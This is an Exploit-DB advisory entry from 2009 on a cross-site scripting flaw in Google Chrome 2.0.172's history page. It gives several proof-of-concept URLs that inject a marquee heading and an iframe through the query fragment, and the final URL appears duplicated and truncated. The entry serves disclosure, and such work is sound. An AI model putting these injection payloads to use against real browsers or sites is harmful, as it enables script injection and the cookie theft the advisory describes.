Google Chrome 2.0.172 - 'chrome://history/' URI Cross-Site Scripting Vulnerability

2009-06-28T00:00:00
ID EDB-ID:33124
Type exploitdb
Reporter Karn Ganeshen
Modified 2009-06-28T00:00:00

Description

Google Chrome 2.0.172 'chrome://history/' URI Cross-Site Scripting Vulnerability. Remote exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/35841/info

Google Chrome is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the context of the user running the application and to steal cookie-based authentication credentials and other sensitive data that may aid in further attacks.

Chrome 2.0.172.37 is vulnerable; other versions may also be affected. 

chrome://history/#q=%22%3E%3Cmarquee%3E%3Ch1%3Ebikolinux%3C%2Fh1%3E%3C%2Fmarquee%3E

view-source:chrome://history/#q="><marquee><h1>bikolinux</h1></marquee>

chrome://history/#q=%22'%3E%3Ciframe%20src%3D%22http%3A%2F%2www.example.com%22%20height%3D%221024%22%20width%3D%22800%22
%3E%3C%2Fiframe%3E

chrome://history/#q=%22'%3E%3Ciframe%20src%3D%22http%3A%2F%2www.example.com%22%20height%3D%221024%22%20width%3D%22800%22